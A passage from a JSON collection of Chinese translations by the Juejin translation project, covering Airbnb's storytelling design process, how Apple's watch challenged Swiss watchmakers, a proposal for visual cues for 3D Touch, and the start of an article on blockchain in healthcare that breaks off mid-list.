报道](https://www.fastcompany.com/3002813/how-snow-white-helped-airbnbs-mobile-mission)的那样，这个项目代号为“白雪公主”并从一系列情感时刻开始，这些情感时刻组成了端到端的 Airbnb 体验，并迅速演变为围绕公司的故事分享。\n\n有趣的是，为了提高故事作为交流工具的保真度，Airbnb 聘请了迪士尼皮克斯的动画师来演示客户体验的故事板。\n\n视频讲述在公司早期阶段讲故事流程是怎样成为公司路线图的：\n\n* YouTube 视频链接：https://youtu.be/nT7Irq8YuSo\n\n为了告知故事驱动的设计流程，Airbnb 希望讲述完美旅行的故事。[在一次播客采访](https://www.stitcher.com/podcast/stitcher/masters-of-scale/e/51210073)中，Chesky 描述了一个实验，在实验中他为一位客户提供了一生的旅行体验：Airbnb 花费数万美元给一个人尽可能最好的旅行体验。\n\n一个令人兴奋的用户体验在分解融入到故事板，最终就扩展为今天所知的 [Airbnb 之旅](https://www.airbnb.com/new)。\n\n### 每个设计师都是讲故事的人\n\n每个业务突破都始于一个故事，从客户的痛点开始，或者像 Airbnb 一样，是一个关于客户曾经拥有的特别优秀体验的故事。\n\n大多数设计师或企业家都在努力通过线框或产品草图进行产品创新。但为什么不从文字开始呢？无论它是用 Microsoft Word 编写的类似电影脚本的文档，还是纸上绘制的连环画漫画。\n\n当然，故事并不**总是**先于形式。故事和设计相互相通 — 通过设计工作也可以帮助讲述故事。但从讲故事开始可以使这个设计过程更容易消化和共享。\n\n正如 Wolfe 曾教我们的那样，从文字开始是因为我们所做的事情都只是为了说明故事（想要表现为现实的）；无论是动画迪士尼电影还是创新产品或服务。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-apple-beat-swiss-watchmakers-at-their-own-game.md",
    "content": "> * 原文地址：[How Apple beat Swiss watchmakers at their own game](https://medium.com/s/story/from-clockworks-to-computers-on-our-wrists-11a709a20000)\n> * 原文作者：[Adrian Zumbrunnen](https://medium.com/@azumbrunnen)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-apple-beat-swiss-watchmakers-at-their-own-game.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-apple-beat-swiss-watchmakers-at-their-own-game.md)\n> * 译者：[noturnot](https://github.com/noturnot)\n> * 校对者：[Wangalan30](https://github.com/Wangalan30), [Marszht](https://github.com/Marszht)\n\n# 从发条手表到手腕上的计算机\n\n## 苹果公司如何弯道超车颠覆传统瑞士制表业\n\n![Go to the profile of Adrian Zumbrunnen](https://cdn-images-1.medium.com/fit/c/60/60/1*AvC-bmqPn1Ja9cDFPG9vZw.jpeg)\n\n众所周知，世界上很多最知名的手表品牌都来自瑞士，这已经不是一个秘密了。尽管“瑞士制造”的产品概念似乎已经存在很久了，它却是一个相对近期的现象。\n\n在 16 世纪，住在纽伦堡的德国锁匠 Peter Henlein 构想了与今天的腕表最为相似的第一款手表。这款 “Taschenuhren” 表在当时是一种早期的配饰，同时也是地位的象征，只有上层阶级和社会精英才买得起。在长达一个世纪的时间里，怀表的设计始终没有改变。接着，正如我们所知，英国的一系列革新改变了制表业。\n\n![](https://cdn-images-1.medium.com/max/800/0*dzeCpT5mZopdgvBp.png)\n\n不同类型手表和精密计时器的游丝。图片：Frederick J. Britten and Harry L. Nelthropp via [Wikimedia Commons](https://commons.wikimedia.org/wiki/File:Balance_spring_types.png)/[Public domain](https://en.wikipedia.org/wiki/public_domain)\n\n在十八世纪末，游丝、工字轮式擒纵机构、精密计时器的发明使得英国成为世界上最受尊敬的制表业国家之一。它们是能用钱买到的最精确、技艺最精湛的手表。然而，它们却有一点重要的缺陷：这些早期的手表太过厚重，以至于佩戴起来并不舒服。\n\n> 早期制表业存在的问题恰好反映了今天智能手表生产者所面临的挑战。\n\n由于时尚度和舒适性都要求更轻薄的手表，全欧洲的钟表匠开始研究构造更加轻盈的钟表装置的方法。[早期制表业](https://watchponder.com/2016/12/20/how-the-swiss-became-the-best-watchmakers-a-series-of-choices-and-fate/)存在的问题恰好反映了今天智能手表生产者所面临的挑战：怎样让手表变得更轻薄和更强大。\n\n正是瑞士大师级钟表匠 Abraham-Louis Breguet 的技艺和视野启发了我们今天所知的现代腕表——面积大、扁平、光滑以及时髦。如果说英国人是押注在精确性上，那么瑞士人则押注在风格上。没过多久，瑞士通过第一款精确计时器认证腕表确立了一系列高质量手表生产地的地位，尤其是浪琴、IWC 万国表、以及劳力士。\n\n从 20 世纪早期到 1960 年，瑞士人作为世界顶级制表商的地位是至高无上的。他们开始在手表上刻上标志。不同版本的标志均保持了最初的样式，由于表盘面积太小，这种方式开始出现问题，因此手表业将标志凝聚为两个简单的单词：“瑞士制造”。\n\n不久，“瑞士制造”成为生活消费品历史上最受欢迎的标志之一。\n\n一项由圣加伦大学在 2016 年开展的[调查](https://www.unisg.ch/en/wissen/newsroom/aktuell/rssnews/forschung-lehre/2016/juli/swissnessworldwide-markeschweiz-14juli2016)显示，相对于不知名的原创产品，调查对象愿意支付多一倍的价格购买瑞士奢侈手表。瑞士政府的网站上甚至也有关于这一标志的[夸耀](https://www.eda.admin.ch/aboutswitzerland/en/home/dossiers/einleitung---schweizer-uhren/schweizer-qualitaet----swiss-made-.html)：“‘瑞士制造'不仅仅是一个简单的原创商标。它是让顾客们知道他们正在购买一款具有杰出质量和可靠性的产品的一个信号。”\n\n### 石英危机\n\n正当瑞士人还在坚持传统的制表方法时，日本精工株式会社（Seiko）在 1969 年介绍了世界上第一款电池驱动的腕表。这在制表行业引发了另一场革命。\n\n新电池腕表的低生产成本使得手表的全球价格驱车直下，瑞士制表业丢掉超过六万个工作岗位。到 1982 年底，超过一千家手表制造商在世界上消失。这个时刻——在日本精工公司于 1969 年发布 Quartz Astron 35SQ 手表之后——成为人们熟知的“[石英危机](https://en.wikipedia.org/wiki/Quartz_crisis)”。\n\n为了在钟表业巨变中生存下来，瑞士人需要创新。\n\n通过激进的思想和令人吃惊的设计，Nicolas Hayek 通过他新成立的斯沃琪集团彻底改造了瑞士手表。对于这个新的手表生产线，他的准则是**“创新，激情，有趣，永恒。”**这个准则不仅仅体现在产品本身，同样也体现在[广告宣传中](https://clickamericana.com/topics/beauty-fashion/the-new-swatch-the-new-wave-of-watches-1980s)。\n\n![](https://cdn-images-1.medium.com/max/600/1*eMc7p0R0_HwKFotDOBFpTQ.png)\n\nVintage ’80s Swatches. Photo: [Jon Rawlinson via flickr](https://www.flickr.com/photos/london/14474851198/)/[CC BY 2.0](https://creativecommons.org/licenses/by/2.0/legalcode)\n\n斯沃琪集团让塑料手表变得酷。这引发了完全不同的[产品定位](https://www.bloomberg.com/news/articles/2017-11-21/how-swatch-started-a-revolution-history-of-fashion-watches)。斯沃琪拆解了手表的核心计时功能，并将它转换为时尚宣言。\n\n手表不再仅仅和复杂的钟表装置有关 —— 它现在是自我表达的渠道。在智能手机和智能手表的时代，这一从技术到时尚的转换将会变得更为重要。但是这一转变就像距离有人知道 “Home” 按钮是什么，仍然有数十年的时间。\n\n在斯沃琪手表创立后的三十余年里，这个行业明显保持着瑞士重新确立制表业全球领导者地位的局面。\n\n这要求另一个巨头的想象力和市场力量去再一次冲击手表行业。\n\n### 智能手表疲劳\n\n智能手表并不是个新概念。自从日本精工公司注意到[詹姆斯·邦德在《007 之八爪女》](https://www.youtube.com/watch?v=rp2IqwWhTkE)中所佩戴的，我们一直梦想着将屏幕放置在我们的手腕上。不幸的是，早期的全部尝试都拥有笨重的设计和短暂的电池寿命。这也导致了，没有一个在商业上获得成功。\n\n改变发生在 2012 年，Eric Migicovsky 为他的 Pebble 智能手表（与手机配对）开启了一项 kickstarter（译者注：美国众筹网站）活动。尽管这次活动的目标是筹集十万美元用于生产，他们最终以令人震惊的一千万美元结束。由于它独特的用户体验、持久的电池寿命以及无缝连接 iOS 和 Android 系统的特性，Pebble 手表成为 2000 年代第一款在[商业上成功的智能手表](https://www.punchkick.com/blog/2016/01/06/history-of-the-smart-watch)。\n\n![](https://cdn-images-1.medium.com/max/800/1*jX3V6HHVB00ZhU9CS4x19Q.jpeg)\n\nPebble 智能手表。Photo：[Orde Saunders via flickr](https://www.flickr.com/photos/79578508@N08/12031245446/in/photolist-pXB3DS-jkagzC-jk7qA6-jkah7j-jk65Ki-isiwvB-mhLcow-j8A1u9-iCGR44-6M5a7Z-jk5YR4)/[CC BY 2.0](https://creativecommons.org/licenses/by/2.0/legalcode)\n\n不幸的是，Pebble 将会很快败给一个即将入场的智能手表新玩家。\n\n在 2014 年初，新闻报道披露苹果公司试图与瑞士制表商展开合作的消息。斯沃琪集团的 CEO [Nicolas Hayek告诉媒体](https://www.ft.com/content/bd77bd76-b600-11e3-b40e-00144feabdc0)“我们找不到任何理由去参与合作协议的讨论。”\n\nHayek 曾因早先与微软的一次智能手表失败合作被指责，他坚定地相信技术限制最终将毁灭这类设备。\n\n2014 年，就在苹果公司产品发布前的一周，[Jonathan Ive告诉《纽约时报》](https://www.nytimes.com/2014/09/04/fashion/intel-and-opening-ceremony-collaborate-on-mica-a-stylish-tech-bracelet.html) ，瑞士人将会遇到麻烦。几天之后，人们将有机会亲眼见到。\n\n在 2014 年的 9 月，就在展示 iPhone 6 之后，Tim Cook 走上舞台，告诉拥挤的观众，苹果公司还有一款产品将要展示。他以 Apple Watch 的名称揭开神秘面纱，而不是预料中的 iWatch。Cook 称它为“……[苹果公司的下一篇章](https://www.techtimes.com/articles/15267/20140912/apple-watch-unveiled-next-chapter-in-apples-story.htm)”。\n\n> 我们相信这款新产品将会重新定义人们对它的期待。\n\n许多专家对 Apple Watch 的工业设计提出质疑。[Tag Heuer 的 CEO Jean-Claude Biver 告诉媒体](https://www.telegraph.co.uk/technology/apple/11088667/Apple-Watch-too-feminine-and-looks-like-it-was-designed-by-students-says-LVMH-executive.html)，“老实说，它看起来像是一个学生在第一学期时设计的。”没过多久，Biver 就改变了他的言论。\n\n这些批评与反馈没有停止苹果公司推动行业前进的脚步。发布后不久，第一代 Apple Watch 成为有史以来卖的最好的智能手表。伴随着系列三的发布，Tim Cook 更进一步，阐明 Apple Watch 将彻底定位在手表业之内。\n\n![](https://cdn-images-1.medium.com/max/800/1*afPj9eEdyVQoIc2xhOlxYw.png)\n\nTim Cook — from Apple’s Special Event 2017\n\n为了那些依然不愿意接受现实的瑞士朋友，直到 2017 年 9 月，Cook 才提醒大众，他们的[智能手表是卖得最好的，嗯](https://www.businessinsider.com/how-the-apple-watch-just-became-the-number-one-watch-in-the-world-2017-9)。\n\n但是那一年的苹果发布会有一些基础性的不同：Apple Watch 是在新款 iPhone 之前被展示的。\n\n### 苹果公司对传统制表业的敬意\n\n第一代 Apple Watch 和早期设备的不同之处并不仅仅体现在硬软件间的无缝相互作用，而是苹果公司让新技术为人们所熟知的独特能力。不同于他们的早期竞争者，苹果公司拥有另一张关键王牌：他们在传统腕表熟识度的基础之上，结合了他们早已在 iPod 和 iPhone 上成功搭建的 Apple 设计语言。\n\n![](https://cdn-images-1.medium.com/max/800/1*FGqEfVEmvzG_kZmjZX7jkQ.jpeg)\n\nThe Apple Watch Sport. Photo: [Yasunobu Ikeda via flickr](https://www.flickr.com/photos/clockmaker-jp/17298404111/)/[CC BY-SA 2.0](https://creativecommons.org/licenses/by-sa/2.0/)\n\n或许更为引人注目的是，在过去三年中，苹果公司鲜少对手表的工业设计做出改变。这一相当缓慢的更新周期或许正是手表的设计能够如此形象的部分原因吧。你要么拥有 Apple Watch，要么没有。无论是系列一、二还是三，都没有关系。通过坚持原始设计，苹果公司打赌消费文化中的喜新厌旧现象不会发生，也就是虔诚地每年替换科技配件。\n\n> 苹果公司更进一步，采用传统钟表的术语去描述用户界面。\n\nApple Watch 几乎是在对传统制表业致敬。通过 Apple Watch 设计的持久特性，苹果公司也许是在说智能手表应该比智能手机更永久一些。\n\n苹果公司更进一步，甚至采用传统钟表的术语去描述用户界面。许多电脑设计者发现 [“complications”](https://en.wikipedia.org/wiki/Complication_%28horology%29)（译者注：多功能表，手表专用术语）这一术语并不合适，但是钟表匠们曾经这样称呼。本质上来说，“complications” —— 在制表业术语中代表着这个单词所暗示的含义：他们通过增加日期、秒表、发条等使得手表变得更加复杂。但是，机械手表的 “complications” 设计主要是用来炫耀技艺，而智能手表中的 “complications” 旨在合适的时间传达相关信息。苹果公司采用 “complications” 这一术语去描述表盘上的[应用程序数据](https://developer.apple.com/videos/play/tech-talks/208/)。他们还采用了传统制表业的另一个术语“[表冠（crown）](https://www.hautehorlogerie.org/en/encyclopaedia/glossary-of-watchmaking/s/crown-watchmaking-1/)”，命名为“数字表冠”放置在设备的一边。\n\n通过使用相同的语言和制表业的基本原则，苹果公司确保他们的产品独特到让人们觉得新颖，却又相似到可以在我们的手腕上发现它的位置。\n\n### 感知上的改变\n\n新产品并不会取代彼此，就像他们也改变不了其他产品所代表的意义。购买自动手表的人并不是在购买一款配件，他们是在购买历史和技艺。购买智能手表的人并不是在购买一种更好地查看时间的方式，他们是在购买更健康和更好连接自我的创意。\n\nSteve Jobs 坚信 Phone app 是 iPhone 的“杀手级应用”。的确是这样，Phone app 的第一个版本是一个杰出设计的软件部分，这帮助 iPhone 确立了作为手机的地位。但是从那时到现在，对于 iPhone 的期望逐渐进化。现在，Phone app 成为 iPhone 的一款代表性副产品。\n\n> 手表从专属极客、可有可无的科技配件进化成我们和我们所爱之人的救生工具。\n\n智能手表正在重新定义它特有的范畴，就像斯沃琪在 1980 年代末所做的那样。智能手表曾经用来保持联络，然而它们现在配备了易上瘾的技术，旨在帮助你成为更健康的你。它们从专属极客、可有可无的科技配件进化成我们和我们所爱之人的救生工具。\n\nApple Watch 的进化如此平缓以至于我们中的大多数都没有意识到它的发生。在制表行业打败瑞士制表业是一件不小的壮举。但苹果公司做到了。\n\n他们使手表成为第一款可购买的、批量生产的、面向最终消费者的心电图，我们可以期待这个领域令人激动的更多新发展。\n\n### 展望未来\n\n腕表一直以来都是我们身体的延伸。随着智能手表变得越来越强大，以及技术越来越有效地与我们的身体相融合，我们正处在计算新纪元的前列。\n\n今天，技术不只是被使用，而是被滥用。我们感官的增强正在为过去完全不可能存在的新体验类型做准备。鉴于 Apple Watch 可能会成为自石英革命以来手表行业最大的颠覆，手表业的历史教会我们，过去的成功很难预测未来的发展。\n\n我的祖父 Peter Werner Jenny 曾发明了第一款[防水深度一千米的瑞士潜水手表](https://monochrome-watches.com/introducing-jenny-caribbean-300-cool-1960s-rice-bead-bracelet/)，他怀着巨大的兴趣关注着这一行业近期发生的巨变。我等不及去看接下来它将带我们去哪儿。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-apple-can-fix-3d-touch.md",
    "content": "> * 原文地址：[How Apple can fix 3D Touch](https://medium.com/@eliz_kilic/how-apple-can-fix-3d-touch-2f0ca5ea589e)\n> * 原文作者：[Eliz Kılıç](https://medium.com/@eliz_kilic?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-apple-can-fix-3d-touch.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-apple-can-fix-3d-touch.md)\n> * 译者：[Wangalan30](https://github.com/Wangalan30)\n> * 校对者：[liruochen1998](https://github.com/liruochen1998)\n\n# 苹果公司如何修复 3D Touch\n\n我应该从最显而易见的地方开始。3D Touch 已被破坏！如今 3D Touch 的用户体验远远没有达到预期。苹果公司在 2014 年推出了 3D Touch 和与之相关的新的交互方式 Peek 和 Pop。距离它的第一次推出已经过去了近乎四年，然而人们并不了解以及使用 3D Touch。他们怎么可能知道呢？即使是那些懂得相关技术的用户都不知道按下哪个按钮可以使用 3D Touch，更不用说那些普通用户了。\n\n如果我们把所有链接的颜色和风格设置为与普通文本一致会怎么样呢？人们会不知道点哪里对吗？那么 3D Touch 又何尝不是如此呢？通常我们首先会依赖我们的视觉来决定一件事情的可操作性。如果你无法将支持 3D Touch 的按钮与其他按钮区分，你怎么知道你可以按下它们？我们来看下面这张截图，看你能否说出哪些按钮支持 3D Touch。\n\n![](https://cdn-images-1.medium.com/max/800/1*bqBQU-A7UHWxKePiyFsAww@2x.png)\n\niOS 11 Control Center\n\n并不是所有的这些按钮都支持 3D Touch。那么你怎么知道哪个是哪个呢？你唯一能做的，就是试出 3D Touch 按钮，然后记住它。同时，更糟糕的是，3D Touch 已经不再是一个噱头。你需要知道，你应该用力按下“4 键控制”来实现“个人热点”和“隔空投送”的切换。\n\n现在我们已经知道问题所在，下面是我的解决方案。像我们多年前在网页上对链接文本所做的那样，我们应该从视觉上区分 3D Touch 按钮。再看看这张屏幕，看你能否说出哪些切换按钮支持 3D Touch。\n\n![](https://cdn-images-1.medium.com/max/800/1*BsbevA81Bb7IyCefSAjo0w@2x.png)\n\niOS 11 Control Center with Force Decorators\n\n我的解决方案是在按钮的右下方添加一行显示，表明这个按钮支持 3D Touch。我们可以把它们叫做**压感提示**（参考压力触控）。\n\n![](https://cdn-images-1.medium.com/max/800/1*jouGQM0L8LC-88f4cvlSrQ@2x.png)\n\nNotifications with Force Decorators\n\n![](https://cdn-images-1.medium.com/max/800/1*gE6Gh48HnoZQOilpcRWRXg@2x.png)\n\nMail with Force Decorators\n\n3D Touch 缺少成为主流的最显而易见的东西。视觉提示。我想这就是答案吧。\n\n你怎么看呢？\n\n* * *\n\n你可以通过我的推特 twitter.com/eliz_kilic 联系我。感谢 designcode.io 提供很棒的草图资源。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-blockchain-can-help-re-invent-healthcare.md",
    "content": "> * 原文地址：[How Blockchain Can Help Re-invent Healthcare](https://www.sitepoint.com/how-blockchain-can-help-re-invent-healthcare/)\n> * 原文作者：[Anthony Back](https://www.sitepoint.com/author/aback/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-blockchain-can-help-re-invent-healthcare.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-blockchain-can-help-re-invent-healthcare.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[luochen1992](https://github.com/luochen1992)，[SergeyChang](https://github.com/SergeyChang)\n\n# 区块链如何帮助重塑医疗保健行业\n\n**曾经想过区块链在医疗保健行业中的应用吗？这篇博客将会全面的介绍区块链的变革潜力，并阐述阻碍变革的复杂的相关问题。**\n\n毕业于医学院的学生要以某种形式宣誓希波克拉底誓言，这是成为一名医生的重要一步。\n\n誓言中的一句誓词是**“首先，绝不伤害（first, do no harm）”**或者**“primum nonnocere.”**（拉丁文的“first, do no harm”，译者注）\n\n虽然大部分的医学业内人士都能日复一日地践行诺言，但是对于他们所在的医疗保健系统，这就不好说了。\n\n从医疗器械、可穿戴设备到基因组测序和再生医学，医学领域有了巨大的飞跃，尽管如此，个人医疗的改进并没有带来国家医疗保健系统所需的根本转变。[[1](https://www.youtube.com/watch?v=GO9Q7i-IcA8)]\n\n健康管理和行政系统还保留着相对未被技术和监管改革触及的状态，并且没有足够的设备来满足其目标人群当前和未来的需求。\n\n## 人口压力\n\n世界人口正在老龄化，尤其是在发达国家，这些地方的医疗保健系统正承载巨大压力。根据 2015 年联合国经济和社会事务部的报告 [[2](http://www.un.org/en/development/desa/population/publications/pdf/ageing/WPA2015_Highlights.pdf)]：\n\n*   从 2015 到 2030 年，超过 60 岁的人口数量将会增长 56%\n*   在 2015 年，世界上八分之一的人将达到或者超过 60 岁。到 2030 年，预计老年人将占全球六分之一的人口。\n*   老龄化进程在欧洲和北美最为显著，2015 年这些地区达到或者超过 60 岁的人已经突破了五分之一。\n*   到 2030 年，欧洲和北美的老年人的比例有望会超过 25%，大洋洲则是 20%，亚洲、拉丁美洲和加勒比 17%，非洲 6%。\n\n在发展中国家，尤其是撒哈拉以南的非洲欧和亚洲，医疗保健未来的挑战将主要是人口激增和经济因素，而非老龄化。\n\n人口高速增长再加上创新的涓滴，导致中产阶级人口上升。\n\n![](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2018/02/15184953031.jpeg)\n\n伴随着几乎全部来自新兴国家的增长，在未来二十年后，世界的中产阶级人口有望增加三十亿。[[3](http://www.ey.com/gl/en/issues/driving-growth/middle-class-growth-in-emerging-markets---entering-the-global-middle-class)]\n\n如果没有国家医疗体系深刻的、实质性的改革，那么为世界的老龄人口和激增的中产阶级提供高效、可持续并且可负担的医疗保健将会变得更难，\n\n虽然问题很复杂、系统性很强且不易修复，但是大部分医疗保健系统所承受的限制都可以追溯到一个单一却有高度腐蚀性的根本原因上。\n\n## 缺乏远见，过时和限制性的合规条例\n\n伴随着医疗保健的花费、风险和社会敏感性等问题都很深刻。由于医疗保健在社会中扮演着敏感且重要的角色，谨小慎微的政府官员很惧怕做重大的监管调整，但这正是改革医疗保健体系所需要的。\n\n> 官员们知道他们会因为监管不利 - 比如说，批准一种有害的药物 - 而不是收紧审批流程而更容易的受到大众和政治家的惩罚，尽管这么做可能会延迟有用的改革。 - **[Regina E. Herzlinger](https://hbr.org/2006/05/why-innovation-in-health-care-is-so-hard)**\n\n## 还记得奥巴马医改事件（Obamacare Saga）吗？\n\n你当然记得。很多年以后的现在，它依旧在运行。\n\n公众意见分裂，国会发起辩论。同时也伴随巨大的利益和法规纠纷。这就不难懂得为什么触及监管深层的改革实施起来非常困难，并且通常会被政客们避免。\n\n![](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2018/02/15184953232.jpeg)\n\n数据共享和隐私法导致了医疗保健总体效率低下，行业碎片化，并阻止了实质性的革新。例如 HIPAA，美国健康保险便携和责任法案，为了保护健康信息而设计，对医疗服务的提供者提出了严格的规定。\n\n尽管法案有高尚意图来保护病人的数据和隐私，高效的病人护理依旧存在很大障碍，主要原因是访问患者信息的困难和电子通信的限制。\n\n> 出于（信息泄漏）医疗事故的考虑，很多医生可能不愿意接受 EHR。他们也许相信，使用手写的图表系统能更好的保护他们免于医疗事故的诉讼。而且，HIPAA 引发了很多有关数据处理的新的问题。关于共享健康信息，同样有很多国际法律问题。很多悬而未决的法律问题都涉及医学事故的法律责任，而这些医学事故是健康分析软件或者 EHR 数据编码的副产品。 - **[A Robust Health Data Infrastructure](https://www.healthit.gov/sites/default/files/ptp13-700hhs_white.pdf)**\n\n像 HIPAA 这样的政府法规会导致很多流通问题。\n\n旨在遵守这些限制性规定的医疗保健管理系统却过时而且分散。运行在纸张和孤立保存记录操作上的已经很膨胀的系统所创建的医疗健康管理系统也是低效的、碎片化的、分散的、不透明的。\n\n向电子健康记录（EHR）的转变微微改善了医疗健康系统碎片化的性质。组织之间和组织内部互通性的匮乏意味着合作只能在最小程度。EHR 在不同的医院、私人诊所、实验室、药店以及其他医疗行业运作机构中成碎片式的分布。 [[6](http://mcdonnell.mit.edu/blockchain_ehr.pdf)]\n\n> 平均来说，美国人一生要见 16 个不同的医生。虽然现在 HITECH 和 Affordable Care Act 两者在某些情况下都允许并且要求医生的访问信息以数字形式存储下来，但是不同机构的医疗的记录和结果却经常被记录在不兼容的数据库中。 - **[Brian Forde](https://medium.com/mit-media-lab-digital-currency-initiative/medrec-electronic-medical-records-on-the-blockchain-c2d7e1bc7d09)**\n\n## 真实世界对患者健康的影响\n\n无法交换和利用电子健康记录成为了发展健全的数据基础设施的主要障碍。[[8](https://www.healthit.gov/sites/default/files/ptp13-700hhs_white.pdf)] 你可以想象，当医院、诊所、保险公司、政府和医生办公室没办法共享信息的时候，对患者健康的影响是不利的。\n\nEiner Elhauge，哈佛大学卫生法律政策、生物技术和生物伦理皮特里-弗洛姆（Petrie-Flom）中心的创始主任这样写道：\n\n> 就像过分烹饪反而会破坏好汤，决策者太多也会破坏医疗保健。仅负责相关医疗保健决策的一部分的决策者也许无法了解整体的情况，仅根据他们所知也许缺乏采取合适的行动的能力，或者甚至可能会有正面激励让他们将花费转嫁到他人身上。所有上述这些碎片化的形式都可能导致错误的医疗健康决策。**[[9](http://www.law.harvard.edu/faculty/elhauge/pdf/Elhauge%20The%20Fragmentation%20of%20US%20Health%20Care%20--%20Introductory%20Chpt.pdf)]**\n\n![](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2018/02/15184953553.jpeg)\n\n看如下这个示例场景。\n\n一位病人在寻求医疗建议，为他持续的疲劳和肌肉酸痛寻找药物。\n\n他/她拜访了很多医生，每个都是不同领域的专家，甚至有一次还去了医院。\n\n他/她在每位医生以及医院那里都接受一系列检测，并被开具一系列药物。\n\n病人的情况持续恶化，所以他/她决定去拜访一个新的医生，这个医生也会继续给出新的检查和治疗方案。在这个过程中，治疗病人的医学专家之间的交流很少，对病人的医疗史也几乎没有共享信息。\n\n尽管治疗这个病人的医生是在虚拟的案例中，尽管现实生活中的案例可能可以遵循正确的医疗程序，来处理这些医生们接受过培训去处理的问题，医疗健康系统的碎片化的现实导致了无协调和最终不合格的病人护理。\n\n没办法交换重要信息导致医生没办法了解病人更整体的情况，而这可能已经进一步说明了病人的健康状况。医生之间的信息交换很可能可以为病人带来更好的治疗，并且减少病人、医生和保险公司为不必要的治疗所花费的费用。\n\n医生之间的信息交换很可能可以为病人带来更好的治疗，并且减少病人、医生和保险公司为不必要的治疗所花费的费用。\n\n**政府法规的腐蚀性的影响并未在此结束.**\n\n缺乏基本的交互水平的，碎片化的，孤立的保存医学记录的操作和系统应该对医疗保健中的其他主要问题负责。\n\n现在严重缺乏用于临床、科研以及经济、行为和以基础设施为目的的优质数据。缺乏有意义的数据，政府和医疗保健行业就会很难看到整体概况，很难针对提高病人护理质量作出明智的决定。\n\n对于风险最高和服务不足的公民以及人口健康趋势的跟踪，可保证质量的资料也是不足的。[[10](https://www.healthit.gov/sites/default/files/ptp13-700hhs_white.pdf)]\n\n也许碎片化和无法共享信息最有害的影响就是会导致严重的效率低下。比如说在美国，医疗的花费已经无法控制的上涨。\n\n根据 CDC，从 2000 年以来，医疗健康支出占国内生产总值的比例已经上升 4.5%。\n\n**医疗健康支出占 GDP 的百分比：**\n\n*   2000: 13.3%\n*   2009: 17.3%\n*   2014: 17.4%\n*   2015: 